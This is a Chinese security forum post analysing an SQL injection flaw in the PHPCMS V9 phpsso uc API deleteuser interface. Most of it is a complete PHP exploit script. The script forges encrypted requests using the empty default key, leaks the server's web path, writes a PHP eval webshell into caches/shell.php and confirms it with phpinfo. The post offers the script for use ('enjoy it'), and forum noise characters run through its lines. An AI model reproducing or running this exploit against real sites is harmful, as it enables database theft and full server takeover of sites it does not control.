找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1781|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。: h+ v8 R/ t% ~! F8 M
4 v* T% A* R/ B  h
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
% r, M7 w2 F% i: X. b2 a# r# Q) b- A2 a" O
漏洞分析:
$ ^5 z( H% T5 H( d7 U" G1.未启用ucenter服务的情况下uc_key为空
2 j: a( p3 P# Z8 y9 Sdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
$ k4 `- j8 |0 E9 l& i2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。& x0 X$ w1 A" N* U8 U# d( W
    public function deleteuser($get,$post) {
- B" q: P$ c5 n' t: k( |* K        pc_base::load_app_func('global', 'admin');1 V9 X9 D* H; q3 @0 v
        pc_base::load_app_class('messagequeue', 'admin' , 0);
0 I/ ?1 p( b+ A- \, S4 Z) h        $ids = new_stripslashes($get['ids']);
# T/ z2 K5 ?% N& U. R4 n# |* I. N        $s = $this->member_db->select("ucuserid in ($ids)", "uid");7 W3 Y: K( I9 B  o# d+ p4 h
SQL语句为
0 D' A$ B7 Z! f! y: T: M9 h. S, X  iSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
: ?" J; |& P; v4 ?6 k- V# h7 `! q6 i) \, @$ @' _
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell3 d& e  w: F9 u  d* u2 L  J
<?php
2 _* U0 d- c! F  `print_r('
9 _8 e. z* V2 M# g---------------------------------------------------------------------------0 h2 }+ x( }/ i3 s1 ^
PHPcms (v9 or Old Version) uc api sql injection 0day# w5 e1 b% A0 |5 p5 l: m. R: G
by rayh4c#80sec.com
3 j% `$ l0 V; u4 h( e0 f+ k---------------------------------------------------------------------------" X1 G8 i( {6 r# h
');3 b' F& \: {% ?9 X) S

( T/ l8 R6 |% T9 S7 l- bif ($argc<3) {; p8 ?4 O$ d' H  |+ N. Q" F
    print_r('( ~! S+ d: y5 w* a( n7 ~! F
---------------------------------------------------------------------------$ ?: ^* Z+ ~; C8 ^
Usage: php '.$argv[0].' host path OPTIONS
: x* o6 x9 S# ^) ]( d* ohost:      target server (ip/hostname)
( n, Z& Q' ^3 W. M5 [9 Hpath:      path to phpcms2 _# V( C- \8 Q; z7 Z
Options:
4 ~& t! ^5 Z  B3 g  D9 p* @ -p[port]:    specify a port other than 80* s) H+ j% |+ w
-P[ip:port]: specify a proxy( p/ ~$ k3 J" A3 f1 x9 v- Y' H' t1 m
Example:* b9 [- u! N$ I) z- E
php '.$argv[0].' localhost /, |: ^) B) @6 c! k# X9 x: I
php '.$argv[0].' localhost /phpcms/ -p81
5 p) I; k5 D- a$ g2 {php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80/ Z! M9 ]: |- k" p0 J
---------------------------------------------------------------------------
" W8 V, z7 P/ `2 w: d% i');$ T- ~( A: [" F- C; X$ q
    die;$ l( [9 {  X( S$ X9 B
}
# q6 j' `7 o) ~9 g7 h7 ?8 l6 N! @* h4 f
error_reporting(7);' ]) r9 S; s- ~5 i: n' G3 u0 g
ini_set("max_execution_time",0);1 {) K+ A8 R3 S4 }) a
ini_set("default_socket_timeout",5);1 Y0 k1 b$ u9 A! N3 O
+ ?; y8 j: ~  E2 n
function quick_dump($string)
! z6 o# E, G* B9 {7 B' l9 E7 e{3 K- k  `1 w& f& E# e* K; E" q# B
  $result='';$exa='';$cont=0;
- w& Y: s; U) a! x5 u$ S3 A2 a  for ($i=0; $i<=strlen($string)-1; $i++)
8 S2 q9 `8 t4 E5 G$ d( N  {7 @5 s' z9 o5 ^# k+ D+ d0 B, Q
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))' W  ?: n* Q+ ?- d
   {$result.="  .";}
$ {7 w: l# G0 T( C& b   else
" C9 I8 |0 z  I3 [   {$result.="  ".$string[$i];}
* o0 V: h" J# a# u+ a- {$ Y% ]   if (strlen(dechex(ord($string[$i])))==2)0 X% g* |# N6 |* l
   {$exa.=" ".dechex(ord($string[$i]));}" Q0 [) E( @6 e/ h
   else4 p2 l( O5 ]% B5 J6 e) `
   {$exa.=" 0".dechex(ord($string[$i]));}4 r( B8 T1 P0 h# `* a; C2 ^6 x
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}& r# V5 V8 G6 X/ L
  }
, b! ?. T* q# ?: A7 R return $exa."\r\n".$result;, T9 T5 L) `/ y  M% U
}0 m! n$ w: C6 r$ D$ {
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
* j. }$ f7 z) a
1 \. N( g0 m: T  A/ d) ifunction send($packet)9 s8 p" ]0 }" U* s9 y; B
{
$ W- W% W( S% @+ u+ e8 D5 Q9 L+ m1 F+ m  global $proxy, $host, $port, $html, $proxy_regex;
6 c. U1 X, |8 J: t  if ($proxy=='') {5 u% F, R% D7 I% J9 N- w8 N$ J5 w
    $ock=fsockopen(gethostbyname($host),$port);3 F5 ]4 e: @6 W: \& {2 o1 V
    if (!$ock) {5 Y6 w- v! k% I- D3 @% s
      echo 'No response from '.$host.':'.$port; die;. q$ q/ S2 g8 H4 b% d
    }8 F; S9 A5 \4 k, h) b4 ~  d5 T
  }
4 a8 ~. `  B9 l  w$ W$ g+ J  else {
8 H! L7 q/ G/ p        $c = preg_match($proxy_regex,$proxy);
( N; B- S# ~. j) p5 i    if (!$c) {
: v7 J9 V* ~& y1 V      echo 'Not a valid proxy...';die;
9 R' P# H- H# |8 |; n5 g    }  N% Z5 v* d, C9 [- ?/ G
    $parts=explode(':',$proxy);
$ t+ h9 [7 D/ L# l8 [  V    $parts[1]=(int)$parts[1];
6 _* ~% ?  s+ `    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";! ?7 o. F% K, T% O( l- m$ G
    $ock=fsockopen($parts[0],$parts[1]);
, U! ?3 G% ]* ^* g6 k    if (!$ock) {
% i8 S' @* `6 F: }      echo 'No response from proxy...';die;2 F+ t; L- E; j: N9 G2 i
        }
8 N% X! n  G0 N) k  }
5 g6 k; H5 R$ _' ?) I( D% c  fputs($ock,$packet);. ^& g/ ?: I- C. |
  if ($proxy=='') {1 l- e4 B- n: y2 D; [- s+ Y
    $html='';/ `% T( N2 `; t! y
    while (!feof($ock)) {( Y- K  h% B5 ], \1 w; J" A5 q& Q
      $html.=fgets($ock);
1 ^3 p1 t! k* d) X2 x$ b    }
( \& D( ?4 S: H& L6 {  }
7 R( D. L4 ]8 z: S  else {% c, L+ H3 ~5 y1 e$ x* u
    $html='';
5 |  d- f/ P0 k, \. P    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
8 W" V9 @! H1 R9 g' F: Z  _9 l      $html.=fread($ock,1);
; \4 V6 q6 M. _+ Q- d" T    }
; J6 |1 u3 ~; m8 e3 x- W  }
7 s8 g1 I7 i: o# L* r0 U, L2 m  fclose($ock);4 x; |) f& I/ w% X( w6 B. [6 \
}# b% n1 ]9 z# s# i" ^* p

' `, P9 g1 u. Q2 ]7 `- e0 b$host=$argv[1];
9 Q" w! |) s  T0 |7 i& f" w/ ^$path=$argv[2];/ C% Z7 e# g" ^- T( e
$port=80;
# Q  H, R( r3 K; F; q9 {$proxy="";0 {/ A: z" V6 @# v7 e# A( w
for ($i=3; $i<$argc; $i++){3 K2 p% [0 v) X% g
$temp=$argv[$i][0].$argv[$i][1];8 w; X* z$ x* K' m( V6 P
if ($temp=="-p")! s9 S. m* M* G2 H, M
{# K! c# f$ [' ^6 M
  $port=(int)str_replace("-p","",$argv[$i]);
# q4 k0 Z" ?/ _- P! l$ @}3 @" h' }7 L; p2 _0 w6 m  ^( q
if ($temp=="-P")
1 V" ~2 f$ \6 ]{
0 g, M$ `4 `- @  $proxy=str_replace("-P","",$argv[$i]);
# s. v! B) T6 Q6 T" n9 x4 ^  J* S}5 Q, E2 l# [6 v: L
}
5 N/ a, K- U$ f8 ?; m3 z% [3 S/ z  ~2 v- W
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
7 D9 f/ \! x/ \& q% |2 Xif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}! d! O5 ^5 X: m* j* a* T" Z) d
% B3 L5 a* y& l" x& m
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
8 P* ]" C: v) b) [* F, {. a
* Q3 H4 }' t# \. D! t2 E* n    $ckey_length = 4;
$ a- W7 h- D" M3 W$ }" H# a$ m7 ^
' K# J2 i2 w8 C9 @- _    $key = md5($key ? $key : '');
. I* {. |! S- Y/ F. T    $keya = md5(substr($key, 0, 16));! z6 p/ C) Q0 M: K, }
    $keyb = md5(substr($key, 16, 16));
3 o5 r& b! }3 M6 m& Z    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
- X! I' t1 N9 [  h- y/ N7 h# X# A1 u8 ~
    $cryptkey = $keya.md5($keya.$keyc);
* Z& W7 S. m% y# W    $key_length = strlen($cryptkey);
1 N- R' L8 Q8 i; d* x# i& J) W& p3 O7 K4 o
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
# \" l% g) Q' V/ F    $string_length = strlen($string);5 c( T7 S1 q! a

; e8 J9 {5 l3 T  W6 T. w  A    $result = '';
8 S4 Z; F! `1 C' I* J. l, n0 R    $box = range(0, 255);
! Z4 K4 y2 a9 U2 `0 }# N+ M. @; d9 B) m
    $rndkey = array();7 ^) I5 O/ A- w! Y
    for($i = 0; $i <= 255; $i++) {
, h+ }# [/ T1 P4 M/ r0 e2 y1 k- p        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
2 z4 T7 B- C% F& w* V- n; D    }
3 F9 |0 I- _+ Q  B: a, A& Q/ C" W5 a2 G3 J* R
    for($j = $i = 0; $i < 256; $i++) {
: f! _1 [7 _$ r$ L        $j = ($j + $box[$i] + $rndkey[$i]) % 256;- V* ^2 I6 `! Y
        $tmp = $box[$i];
( T  Q: A- _' n/ _        $box[$i] = $box[$j];
$ e2 Y; N3 }9 C2 X( B5 w        $box[$j] = $tmp;
1 F( U( q, }5 {; A& c- f4 @  {+ Y    }
2 ]+ K7 f2 n# e
3 a! C( `* ?/ E0 S) o. l0 m; v    for($a = $j = $i = 0; $i < $string_length; $i++) {
: h- ?$ p, s: F1 j        $a = ($a + 1) % 256;2 y7 o- \( R4 p; \: X% N, G
        $j = ($j + $box[$a]) % 256;( P! O2 T3 J/ d. s: j# ~2 [
        $tmp = $box[$a];
" Z2 K" s/ U5 \; b        $box[$a] = $box[$j];
# y+ L$ s- E; ^" t# n        $box[$j] = $tmp;: ]0 J- M: ~; l& Z. S
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));! y) S$ V" f  f4 f
    }$ w6 B- |7 V7 D' ]2 X3 p6 X3 j
4 }) l- p6 u+ `! n% ]. p$ z
    if($operation == 'DECODE') {5 g; N  U; ]3 d: P
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
; G# b2 l- @6 n% Y$ \            return substr($result, 26);0 y& F. K1 o. |
        } else {; F1 T+ p! F' F& M
            return '';
( I4 x- _. }# g  T9 q& {        }3 M5 ?* F- a! n$ L' n# A6 I, ^
    } else {- {7 k: g8 q7 y0 n
        return $keyc.str_replace('=', '', base64_encode($result));
8 q( M$ g, Q* g" d+ p& n    }! b) t; D: d5 n( P9 t9 z! G" g  n

% r, |4 _  x6 i+ }2 m}4 F/ {( _4 U* E- v, J
* E% S" s- R2 ^$ Z3 \4 o
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( N/ k0 b& i! e2 ^/ U' E, B$SQL = urlencode(authcode($SQL, "ENCODE", ""));; z/ h4 d: l% Y
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( W( n0 k3 Z/ y4 O
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 ^0 H' J8 K$ `# i) m# t  ^# X, E
$packet.="User-Agent: Mozilla/5.0\r\n";7 S3 ]0 S$ F8 h4 C* I; p9 J
$packet.="Host: ".$host."\r\n";6 a* K" W( o* K# I$ B. c1 j9 X
$packet.="Connection: Close\r\n\r\n";" U0 W- ?8 m7 H1 D: V" N
send($packet);0 U3 M5 |# [! z# w* i
if(strpos($html,"MySQL Errno") > 0){
4 F3 ]* A8 ~% \* y/ B  w, zecho "[2] 发现存在SQL注入漏洞"."\n";3 r* j# Z/ h% ^& Q8 h
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
# t6 }" f6 q4 A( |$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";5 B5 z. G* w7 X9 n! B
$packet.="User-Agent: Mozilla/5.0\r\n";
; j3 \$ V$ ]2 X% W8 z: A/ u% M$packet.="Host: ".$host."\r\n";3 {* m, s+ }  c- e) r3 e! A2 E, g
$packet.="Connection: Close\r\n\r\n";3 E) X7 e  _) j) }  w. ?: d
send($packet);$ y6 _# v" q( _3 ^
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);6 @1 A7 P8 @! c) D% P# F3 q" p
//print_r($matches);$ N& G, U4 g- Y1 j6 O/ p3 c
if(!empty($matches)){3 M, g2 Q  _/ L( d0 d+ j
echo "[4] 得到web路径 " . $matches[0]."\n";
9 e( r. c: u' |' i3 m- M8 U: D" aecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";+ J# |3 E0 w) N; d8 i$ E4 }
$SQL = "time=999999999999999999999999&ids=1)";
; w, H0 l% c+ F- i3 E3 e2 S7 ?$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- E3 {( S8 T% c
$SQL.="&action=deleteuser";
( |; C$ a/ s9 J  a- C$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 O- a" ?/ [: v; T4 x
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
  H# m$ x2 [8 M* q( A, ]$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% r% U6 B: W) e' S$packet.="User-Agent: Mozilla/5.0\r\n";5 n, I* f( o3 `1 E9 G2 j- f
$packet.="Host: ".$host."\r\n";0 G/ ^3 T% J/ q2 b  ?
$packet.="Connection: Close\r\n\r\n";
+ v. `  G' W6 ?4 Msend($packet);# l) z% `8 {8 `6 v( `
if(strpos($html,"Access denied") > 0){
% h2 U/ p5 _; x( u/ m& f0 B; Jecho "[-] MYSQL权限过低 禁止写入文件 ";
( g0 N  _+ f! L+ j" e% Vdie;  @6 z) p! W- c" a
}5 {. Y; O& F: |
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";8 P% ~$ Z: j& B: S2 W
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";& v! x2 z/ c+ h# u. D9 P: V
$packet.="User-Agent: Mozilla/5.0\r\n";
& |; B2 ?) P3 @4 x# E$packet.="Host: ".$host."\r\n";, s! F# _, d, K. u
$packet.="Connection: Close\r\n\r\n";
& M  Z; h+ Y, q* q' t$ ?send($packet);4 }, q$ @( G* R! h( L: i
if(strpos($html,"<title>phpinfo()</title>") > 0){
$ R7 q; y, D1 o, E$ _$ fecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
8 s: C# e  k& L6 C}
! S/ e. k& R- _0 W- L$ l* ?}else{
2 H, x3 M% O' }  X) Q- Aecho "[-]未取到web路径 ";( f! }! H% P8 R. e' v; R* a, \
}% y3 p, J9 C) h( q3 L; F
}else{
# b# O& J8 f  _% V' u: Recho "[*]不存在SQL注入漏洞"."\n";7 {/ V1 ^0 U5 b
}
) Y' A* u/ A9 Z; |7 f. B5 v- ?6 b# C2 [  z4 D' z( s5 G
?>& t$ z6 }) m1 H" L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表